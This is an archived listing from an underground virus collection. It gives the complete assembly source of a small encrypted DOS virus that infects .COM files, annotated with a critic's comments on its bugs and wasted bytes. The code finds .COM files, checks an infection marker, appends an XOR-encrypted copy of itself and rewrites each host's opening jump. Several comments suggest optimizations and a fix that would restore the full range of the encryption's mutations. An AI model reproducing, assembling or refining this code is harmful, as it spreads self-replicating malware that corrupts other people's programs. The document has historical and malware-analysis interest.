home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / 0-9 / 334.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  11.3 KB  |  253 lines

  1.  
  2.  
  3. muttiny         segment byte public
  4.  
  5.                 assume  cs:muttiny, ds:muttiny
  6.  
  7.  
  8.  
  9.                 org     100h
  10.  
  11.  
  12.  
  13. start:          db      0e9h, 5, 0              ; jmp     startvir
  14.  
  15. restorehere:    int     20h
  16.  
  17. idword:         dw      990h
  18.  
  19. ; The next line is incredibly pointless. It is a holdover from one
  20.  
  21. ; of the original TINYs, where the id was 7, 8, 9.  The author can
  22.  
  23. ; easily save one byte merely by deleting this line.
  24.  
  25.                 db      09h
  26.  
  27. startvir:
  28.  
  29.                 call    oldtrick                ; Standard location-finder
  30.  
  31. oldtrick:       pop     si
  32.  
  33. ; The following statement is a bug -- well, not really a bug, just
  34.  
  35. ; extraneous code.  The value pushed on the stack in the following
  36.  
  37. ; line is NEVER popped off. This is messy programming, as one byte
  38.  
  39. ; could be saved by removing the statement.
  40.  
  41.                 push    si
  42.  
  43.                 sub     si,offset oldtrick
  44.  
  45.                 call    encrypt                 ; Decrypt virus
  46.  
  47.                 call    savepsp                 ;  and save the PSP
  48.  
  49. ; NOTE:  The entire savepsp/restorepsp procedures are unnecessary.
  50.  
  51. ;        See the procedures at the end for further details.
  52.  
  53.                 jmp     short findencryptval    ; Go to the rest of the virus
  54.  
  55. ; The next line is another example of messy programming -- it is a
  56.  
  57. ; NOP inserted by MASM during assembly.  Running this file through
  58.  
  59. ; TASM with the /m2 switch should eliminate such "fix-ups."
  60.  
  61.                 nop
  62.  
  63. ; The next line leaves me guessing as to the author's true intent.
  64.  
  65.                 db      0
  66.  
  67.  
  68.  
  69. encryptval      dw      0h
  70.  
  71.  
  72.  
  73. encrypt:
  74.  
  75.                 push    bx                      ; Save handle
  76.  
  77. ; The following two lines of code could be condensed into one:
  78.  
  79. ;       lea bx, [si+offset startencrypt]
  80.  
  81. ; Once again, poor programming style, though there's nothing wrong
  82.  
  83. ; with the code.
  84.  
  85.                 mov     bx,offset startencrypt
  86.  
  87.                 add     bx,si
  88.  
  89. ; Continueencrypt is implemented as a jmp-type loop. Although it's
  90.  
  91. ; fine to code it this way, it's probably easier to code using the
  92.  
  93. ; loop statement.  Upon close inspection, one finds the loop to be
  94.  
  95. ; flawed. Note the single inc bx statement. This essentially makes
  96.  
  97. ; the encryption value a a byte instead of a word, which decreases
  98.  
  99. ; the number of mutations from 65,535 to 255.  Once again, this is
  100.  
  101. ; just poor programming, very easily rectified with another inc bx
  102.  
  103. ; statement. Another optimization could be made.  Use a
  104.  
  105. ;       mov dx, [si+encryptval]
  106.  
  107. ; to load up the encryption value before the loop, and replace the
  108.  
  109. ; three lines following continueencrypt with a simple:
  110.  
  111. ;       xor word ptr [bx], dx
  112.  
  113. continueencrypt:
  114.  
  115.                 mov     ax,[bx]
  116.  
  117.                 xor     ax,word ptr [si+encryptval]
  118.  
  119.                 mov     [bx],ax
  120.  
  121.                 inc     bx
  122.  
  123. ; The next two lines should be executed BEFORE continueencrypt. As
  124.  
  125. ; it stands right now, they are recalculated every iteration which
  126.  
  127. ; slows down execution somewhat. Furthermore, the value calculated
  128.  
  129. ; is much too large and this increases execution time. Yet another
  130.  
  131. ; improvement would be the merging of the mov/add pair to the much
  132.  
  133. ; cleaner lea cx, [si+offset endvirus].
  134.  
  135.                 mov     cx,offset veryend       ; Calculate end of
  136.  
  137.                 add     cx,si                   ; encryption: Note
  138.  
  139.                 cmp     bx,cx                   ; the value is 246
  140.  
  141.                 jle     continueencrypt         ; bytes too large.
  142.  
  143.                 pop     bx
  144.  
  145.                 ret
  146.  
  147. writerest:                                      ; Tack on the virus to the
  148.  
  149.                 call    encrypt                 ; end of the file.
  150.  
  151.                 mov     ah,40h
  152.  
  153.                 mov     cx,offset endvirus - offset idword
  154.  
  155.                 lea     dx,[si+offset idword]   ; Write starting from the id
  156.  
  157.                 int     21h                     ; word
  158.  
  159.                 call    encrypt
  160.  
  161.                 ret
  162.  
  163.  
  164.  
  165. startencrypt:
  166.  
  167. ; This is where the encrypted area begins.  This could be moved to
  168.  
  169. ; where the ret is in procedure writerest, but it is not necessary
  170.  
  171. ; since it won't affect the "scannability" of the virus.
  172.  
  173.  
  174.  
  175. findencryptval:
  176.  
  177.                 mov     ah,2Ch                  ; Get random #
  178.  
  179.                 int     21h                     ; CX=hr/min dx=sec
  180.  
  181. ; The following chunk of code puzzles me. I admit it, I am totally
  182.  
  183. ; lost as to its purpose.
  184.  
  185.                 cmp     word ptr [si+offset encryptval],0
  186.  
  187.                 je      step_two
  188.  
  189.                 cmp     word ptr [si+offset encryptval+1],0
  190.  
  191.                 je      step_two
  192.  
  193.                 cmp     dh,0Fh
  194.  
  195.                 jle     foundencryptionvalue
  196.  
  197. step_two:                                       ; Check to see if any
  198.  
  199.                 cmp     dl,0                    ; part of the encryption
  200.  
  201.                 je      findencryptval          ; value is 0 and if so,
  202.  
  203.                 cmp     dh,0                    ; find another value.
  204.  
  205.                 je      findencryptval
  206.  
  207.                 mov     [si+offset encryptval],dx
  208.  
  209. foundencryptionvalue:
  210.  
  211.                 mov     bp,[si+offset oldjmp]   ; Set up bp for
  212.  
  213.                 add     bp,103h                 ; jmp later
  214.  
  215.                 lea     dx,[si+filemask]        ; '*.COM',0
  216.  
  217.                 xor     cx,cx                   ; Attributes
  218.  
  219.                 mov     ah,4Eh                  ; Find first
  220.  
  221. tryanother:
  222.  
  223.                 int     21h
  224.  
  225.                 jc      quit_virus              ; If none found, exit
  226.  
  227.  
  228.  
  229.                 mov     ax,3D02h                ; Open read/write
  230.  
  231.                 mov     dx,9Eh                  ; In default DTA
  232.  
  233.                 int     21h
  234.  
  235.  
  236.  
  237.                 mov     cx,3
  238.  
  239.                 mov     bx,ax                   ; Swap file handle register
  240.  
  241.                 lea     dx,[si+offset buffer]
  242.  
  243.                 mov     di,dx
  244.  
  245.                 call    read                    ; Read 3 bytes
  246.  
  247.                 cmp     byte ptr [di],0E9h      ; Is it a jmp?
  248.  
  249.                 je      infect
  250.  
  251. findnext:
  252.  
  253.                 mov     ah,4Fh                  ; If not, find next
  254.  
  255.                 jmp     short tryanother
  256.  
  257. infect:
  258.  
  259.                 mov     ax,4200h                ; Move file pointer
  260.  
  261.                 mov     dx,[di+1]               ; to jmp location
  262.  
  263.                 mov     [si+offset oldjmp],dx   ; and save old jmp
  264.  
  265.                 xor     cx,cx                   ; location
  266.  
  267.                 call    int21h
  268.  
  269.                 jmp     short skipcheckinf
  270.  
  271. ; Once again, we meet an infamous MASM-NOP.
  272.  
  273.                 nop
  274.  
  275. ; I don't understand why checkinf is implemented as a procedure as
  276.  
  277. ; it is executed but once.  It is a waste of code space to do such
  278.  
  279. ; a thing. The ret and call are both extra, wasting four bytes. An
  280.  
  281. ; additional three bytes were wasted on the JMP skipping checkinf.
  282.  
  283. ; In a program called "Tiny," a wasted seven bytes is rather large
  284.  
  285. ; and should not exist.  I have written a virus of half the length
  286.  
  287. ; of this virus which is a generic COM infector. There is just too
  288.  
  289. ; too much waste in this program.
  290.  
  291. checkinf:
  292.  
  293.                 cmp     word ptr [di],990h      ; Is it already
  294.  
  295.                 je      findnext                ; infected?
  296.  
  297. ; The je statement above presents another problem. It leaves stuff
  298.  
  299. ; on the stack from the call.  This is, once again, not a critical
  300.  
  301. ; error but nevertheless it is extremely sloppy behavior.
  302.  
  303.                 xor     dx,dx
  304.  
  305.                 xor     cx,cx
  306.  
  307.                 mov     ax,4202h
  308.  
  309.                 call    int21h                  ; Goto end of file
  310.  
  311.                 ret
  312.  
  313. skipcheckinf:
  314.  
  315.                 mov     cx,2
  316.  
  317.                 mov     dx,di
  318.  
  319.                 call    read                    ; read 2 bytes
  320.  
  321.                 call    checkinf
  322.  
  323. ; The next check is extraneous.  No COM file is larger than 65,535
  324.  
  325. ; bytes before infection simply because it is "illegal."  Yet ano-
  326.  
  327. ; ther waste of code.  Even if one were to use this useless check,
  328.  
  329. ; it should be implemented, to save space, as or dx, dx.
  330.  
  331.                 cmp     dx,0                    ; Check if too big
  332.  
  333.                 jne     findnext
  334.  
  335.  
  336.  
  337.                 cmp     ah,0FEh                 ; Check again if too big
  338.  
  339.                 jae     findnext
  340.  
  341.                 mov     [si+storejmp],ax        ; Save new jmp
  342.  
  343.                 call    writerest               ;     location
  344.  
  345.                 mov     ax,4200h                ; Go to offset
  346.  
  347.                 mov     dx,1                    ; 1 in the file
  348.  
  349.                 xor     cx,cx
  350.  
  351.                 call    int21h
  352.  
  353.  
  354.  
  355.                 mov     ah,40h                  ; and write the new
  356.  
  357.                 mov     cx,2                    ; jmp location
  358.  
  359.                 lea     dx,[si+storejmp]
  360.  
  361.                 call    int21h
  362.  
  363. ; I think it is quite obvious that the next line is pointless.  It
  364.  
  365. ; is a truly moronic waste of two bytes.
  366.  
  367.                 jc      closefile
  368.  
  369. closefile:
  370.  
  371.                 mov     ah,3Eh                  ; Close the file
  372.  
  373.                 call    int21h
  374.  
  375. quit_virus:
  376.  
  377.                 call    restorepsp
  378.  
  379.                 jmp     bp
  380.  
  381.  
  382.  
  383. read:
  384.  
  385.                 mov     ah,3Fh                  ; Read file
  386.  
  387. ; I do not understand why all the int 21h calls are done with this
  388.  
  389. ; procedure.  It is a waste of space. A normal int 21h call is two
  390.  
  391. ; bytes long while it's three bytes just to call this procedure!
  392.  
  393. int21h:
  394.  
  395.                 int     21h
  396.  
  397.                 ret
  398.  
  399.  
  400.  
  401.                 db      'Made in England'
  402.  
  403.  
  404.  
  405. ; Note: The comments for savepsp also apply to restorepsp.
  406.  
  407.  
  408.  
  409. ; This code could have easily been changed to a set active DTA INT
  410.  
  411. ; 21h call (AH = 1Ah).  It would have saved many, many bytes.
  412.  
  413.  
  414.  
  415. savepsp:
  416.  
  417.                 mov     di,0
  418.  
  419. ; The following is a bug.  It should be
  420.  
  421. ;       mov cx, 50h
  422.  
  423. ; since the author decided to use words instead of bytes.
  424.  
  425.                 mov     cx,100h
  426.  
  427.                 push    si
  428.  
  429. ; The loop below is dumb.  A simple rep movsw statement would have
  430.  
  431. ; sufficed.  Instead, countless bytes are wasted on the loop.
  432.  
  433. storebytes:
  434.  
  435.                 mov     ax,[di]
  436.  
  437.                 mov     word ptr [si+pspstore],ax
  438.  
  439.                 add     si,2
  440.  
  441.                 add     di,2
  442.  
  443.                 loop    storebytes
  444.  
  445.                 pop     si
  446.  
  447.                 ret
  448.  
  449.  
  450.  
  451. restorepsp:
  452.  
  453.                 mov     di,0
  454.  
  455.                 mov     cx,100h                 ; Restore 200h bytes
  456.  
  457.                 push    si
  458.  
  459. restorebytes:
  460.  
  461.                 mov     ax,word ptr [si+pspstore]
  462.  
  463.                 mov     [di],ax
  464.  
  465.                 add     si,2
  466.  
  467.                 add     di,2
  468.  
  469.                 loop    restorebytes
  470.  
  471.                 pop     si
  472.  
  473.                 ret
  474.  
  475.  
  476.  
  477. oldjmp          dw      0
  478.  
  479. filemask        db      '*.COM',0
  480.  
  481. idontknow1      db      66h                     ; Waste of one byte
  482.  
  483. buffer          db      00h, 00h, 01h           ; Waste of three bytes
  484.  
  485. storejmp        dw      0                       ; Waste of two bytes
  486.  
  487. ; endvirus should be before idontknow1, thereby saving six bytes.
  488.  
  489. endvirus:
  490.  
  491. idontknow2      db      ?, ?
  492.  
  493. pspstore        db      200 dup (?)             ; Should actually be
  494.  
  495. idontknow3      db      2ch dup (?)             ; 100h bytes long.
  496.  
  497. veryend:                                        ; End of encryption
  498.  
  499. muttiny         ends
  500.  
  501.                 end     start
  502.  
  503.  
  504.  
  505.